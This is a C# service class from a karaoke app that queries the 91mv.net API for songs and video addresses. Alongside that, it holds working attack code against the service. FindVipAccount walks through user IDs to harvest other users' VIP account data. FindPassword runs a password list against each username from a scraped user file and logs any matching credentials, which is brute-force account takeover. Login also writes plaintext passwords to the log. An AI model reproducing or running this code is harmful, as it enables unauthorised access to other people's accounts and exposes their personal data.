﻿using BSKTV.Util;
using BSKTV.Model;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;

namespace BSKTV.Service
{
    public class Mv91NetService : BaseService
    {
        public async Task FindVipAccount(int begin)
        {
            for (int i = begin; i > 0; i--)
            {
                int userId = i;

                await FindVip(userId);
            }
        }

        public async Task<bool> FindVip(int userId)
        {
            string url = "http://app.91mv.net/cloud.php";

            Dictionary<string, object> dic = new Dictionary<string, object>();
            dic.Add("VER", "7");
            dic.Add("Cmd", "GetMyAccount");
            dic.Add("UserId", userId);

            //LogUtil.Instance.WriteLog($"发起请求:[{userId}][{url}]");

            var result = await base.GetAsync<JObject>(url, null, false, (httpItem) =>
            {
                httpItem.Method = "POST";
                httpItem.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
                httpItem.Header.Add("X-Requested-With", "XMLHttpRequest");
                httpItem.PostEncoding = Encoding.UTF8;
                httpItem.Postdata = GetParamString(dic);
            });

            if (result != null && result.Flag)
            {
                var data = result.Data;

                if (data != null)
                {
                    string uid = data.Value<string>("UserId");
                    if (!string.IsNullOrEmpty(uid))
                    {
                        string vipId = data.Value<string>("VipId");

                        if (!string.IsNullOrEmpty(vipId) && vipId != "0")
                        {
                            LogUtil.Instance.WriteLog(StringUtil.ToJson(data) + ",", writeDate: false);
                            return true;
                        }
                    }

                    return false;
                }
            }

            LogUtil.Instance.WriteLog($"访问出错!");
            return false;
        }

        public async Task<bool> Login(string userName, string password)
        {
            string url = "http://app3.91mv.net/telnet.php";

            string paramsJson = "{\"UserName\":\"" + userName + "\",\"Password\":\"" + password + "\",\"ExeName\":\"mvMate.exe\",\"VerInfo\":\"mvMate.exe[Version:3.0.3.0;Description:SingleProcess;Comments:www.91mv.net]ProtocolCfg.dll[Version:1.0.3.22;Description:91mv.net]libcef.dll[Version:3.1547.1412;Description:Chromium Embedded Framework (CEF) Dynamic Link Library]\",\"ReferId\":\"0\",\"UnionId\":\"0\"}";
            Dictionary<string, object> dic = new Dictionary<string, object>();
            dic.Add("VER", "6.0");
            dic.Add("CMD", "DO_LOGIN");
            dic.Add("PARAMS", paramsJson);

            LogUtil.Instance.WriteLog($"发起请求,[{userName}]-[{password}]");

            var result = await base.GetAsync<JObject>(url, null, false, (httpItem) =>
            {
                httpItem.Method = "POST";
                httpItem.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
                httpItem.Header.Add("X-Requested-With", "XMLHttpRequest");
                httpItem.PostEncoding = Encoding.UTF8;
                httpItem.Postdata = GetParamString(dic);
            });

            if (result != null && result.Flag)
            {
                var data = result.Data;

                if (data != null)
                {
                    int code = data.Value<int>("Code");
                    if (code > 0)
                    {
                        LogUtil.Instance.WriteLog(StringUtil.ToJson(data));
                        return true;
                    }
                }
            }

            return false;
        }

        public async Task FindPassword(string passwordFileName)
        {
            //用户文件
            string fileName = "www.91mv.net.json";

            //访问过的密码文件

            //密码文件
            //string passwordFileName = "username-num-top1000.txt";

            if (string.IsNullOrEmpty(passwordFileName))
            {
                passwordFileName = "password.txt";
            }

            var arr = GetFileModel<JArray>(fileName);
            string[] passArr = ReadAllLines(passwordFileName);

            if (arr == null || arr.Count < 1)
            {
                LogUtil.Instance.WriteLog("没有读取到用户文件");
                return;
            }

            if (passArr == null || passArr.Length < 1)
            {
                LogUtil.Instance.WriteLog("没有读取到用户密码文件");
                return;
            }

            foreach (var item in arr)
            {
                string userName = item.Value<string>("UserName");

                if (string.IsNullOrEmpty(userName))
                {
                    userName = item.Value<string>("Mobile");
                }

                if (string.IsNullOrEmpty(userName))
                {
                    continue;
                }

                foreach (var password in passArr)
                {
                    bool flag = await Login(userName, password);

                    if (flag)
                    {
                        LogUtil.Instance.WriteLog($"找到登录账号,[{userName}]-[{password}]");
                        break;
                    }
                }
            }
        }

        public async Task<List<MusicModel>> Search(GetMusicListInput input, Action error)
        {
            Dictionary<string, object> dic = new Dictionary<string, object>();
            dic.Add("Cmd", "Search");
            dic.Add("Keywords", input.Input);
            dic.Add("For", "1");
            dic.Add("PageSize", input.PageSize);
            dic.Add("PageNo", input.PageNum);

            string url = "http://app.91mv.net/cloud.php";

            var result = await base.GetAsync<JObject>(url, null, false, (httpItem) =>
            {
                httpItem.Method = "POST";
                httpItem.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
                httpItem.Header.Add("X-Requested-With", "XMLHttpRequest");
                httpItem.PostEncoding = Encoding.UTF8;
                httpItem.Postdata = GetParamString(dic);
            });

            List<MusicModel> list = new List<MusicModel>();
            if (result != null && result.Flag)
            {
                var d = result.Data;
                int count = d.Value<int>("MatchedCount");
                if (count <= 0)
                {
                    return list;
                }

                string typeName = MusicModel.GetTypeName(Constant.MUSIC_SOURCE_TYPE_MV91);
                var dataList = d.Value<JArray>("List");
                if (dataList != null && dataList.Count > 0)
                {
                    foreach (var item in dataList)
                    {
                        string pic = "";
                        string mvName = item.Value<string>("SongName");
                        string songId = item.Value<string>("SongNumber");
                        string author = item.Value<string>("SingerName");

                        MusicModel model = new MusicModel()
                        {
                            SongId = songId,
                            Type = Constant.MUSIC_SOURCE_TYPE_MV91,
                            TypeName = typeName,
                            Link = $"{songId}.mkv",
                            MvHash = "",
                            Title = mvName,
                            Author = author,
                            Lrc = "",
                            Url = "",
                            Pic = pic,
                            IsBz = true
                        };
                        list.Add(model);
                    }
                }
            }
            else
            {
                error?.Invoke();
            }

            return list;
        }

        public async Task<MusicMvModel> GetMvInfo(string userId, string songId)
        {
            var obj = new { UserId = userId, SongNumber = songId };
            Dictionary<string, object> dic = new Dictionary<string, object>();
            dic.Add("VER", "5.0");
            dic.Add("CMD", "GET_SONGADDR");
            dic.Add("PARAMS", StringUtil.ToJson(obj));

            string url = "http://app.ige8.net/telnet.php";

            var result = await GetAsync<JObject>(url, null, false, (httpItem) =>
            {
                httpItem.Method = "POST";
                httpItem.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
                httpItem.Header.Add("X-Requested-With", "XMLHttpRequest");
                httpItem.PostEncoding = Encoding.UTF8;
                httpItem.Postdata = GetParamString(dic);
            });

            if (result != null && result.Flag)
            {
                var d = result.Data;

                string fileUrl = d.Value<string>("FileUrl");

                if (string.IsNullOrEmpty(fileUrl))
                {
                    return null;
                }

                string number = d.Value<string>("SongNumber");
                MusicMvModel model = new MusicMvModel();
                model.Id = int.Parse(number);
                model.SongName = d.Value<string>("FileName");
                model.UrlList = new List<MusicMvUrlModel>();
                model.UrlList.Add(new MusicMvUrlModel(fileUrl));

                return model;
            }

            return null;
        }
    }
}
